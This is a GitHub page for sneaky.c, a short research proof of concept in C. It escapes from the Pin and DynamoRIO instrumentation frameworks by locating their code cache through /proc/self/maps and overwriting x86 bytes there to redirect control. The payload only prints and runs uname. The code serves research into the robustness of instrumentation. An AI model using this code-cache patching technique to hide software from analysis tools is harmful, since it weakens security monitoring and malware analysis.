-
Notifications
You must be signed in to change notification settings - Fork 10
/
sneaky.c
127 lines (105 loc) · 3.71 KB
/
sneaky.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
/*
Copyright (c) 2014, Cosmin Gorgovan <cosmin {at} linux-geek {dot} org>
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
/* PoC of escape & return on Pin and DynamoRIO. x86_64 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#define debug(...) {}
//#define debug(...) printf(__VA_ARGS__)
#define MAX_MAPS_LEN (1024*1024)
char msg[] = "It's a trap!\n";
uint64_t msg_p = (uint64_t)msg;
char maps_s[MAX_MAPS_LEN];
void escape() {
printf("Escaped!\n");
if (fork() == 0) {
execlp("uname", "", "-s", "-m", NULL);
exit(EXIT_FAILURE);
}
}
void trap() {
volatile int a;
a += 0x1;
a += 0x1;
printf(msg);
}
int main() {
char *start;
char *end;
char *buf;
uint8_t *p;
char read_p;
trap();
FILE *maps = fopen("/proc/self/maps", "r");
fread(maps_s, 1, MAX_MAPS_LEN, maps);
buf = maps_s;
debug("Escape function: %p\n", &escape);
debug("Searched pointer: 0x%llx\n", msg_p);
debug("Mappings: \n%s", buf);
while(sscanf(buf, "%llx-%llx %c\n", &start, &end, &read_p) == 3) {
/* msg is in the .data segment, which should be linked at a low
address; start will be on the stack, which is expected to be
at a high adress. The code cache should be somewhere in between.
*/
if (read_p == 'r' && start > msg && end < (char *)&start) {
debug("%p - %p\n", start, end);
p = start;
while (p < (uint8_t*)end-3) {
if ( p[0] == (uint8_t)((msg_p >> 0) & 0xFF)
&& p[1] == (uint8_t)((msg_p >> 8) & 0xFF)
&& p[2] == (uint8_t)((msg_p >> 16) & 0xFF)
&& p[3] == (uint8_t)((msg_p >> 24) & 0xFF))
{
printf("Found at %p\n", p);
p-=0x13;
p[0] = 0x57; // push %rdi
p[1] = 0xeb; // jmp 9
p[2] = 0x06;
p[3] = 0x68; // push &escape
p[4] = (uint64_t)&escape & 0xFF;
p[5] = ((uint64_t)&escape >> 8) & 0xFF;
p[6] = ((uint64_t)&escape >> 16) & 0xFF;
p[7] = ((uint64_t)&escape >> 24) & 0xFF;
p[8] = 0xC3; // ret
p[9] = 0xe8; // call 3
p[10] = 0xf5;
p[11] = 0xff;
p[12] = 0xff;
p[13] = 0xff;
p[14] = 0x5f; // pop %rdi
p[15] = 0x90;
p[16] = 0x90;
p[17] = 0x90;
p+=0x13;
}
p++;
}
}
buf = memchr(buf, '\n', maps_s + MAX_MAPS_LEN-buf);
buf++;
}
trap();
printf("Back to CC\n");
}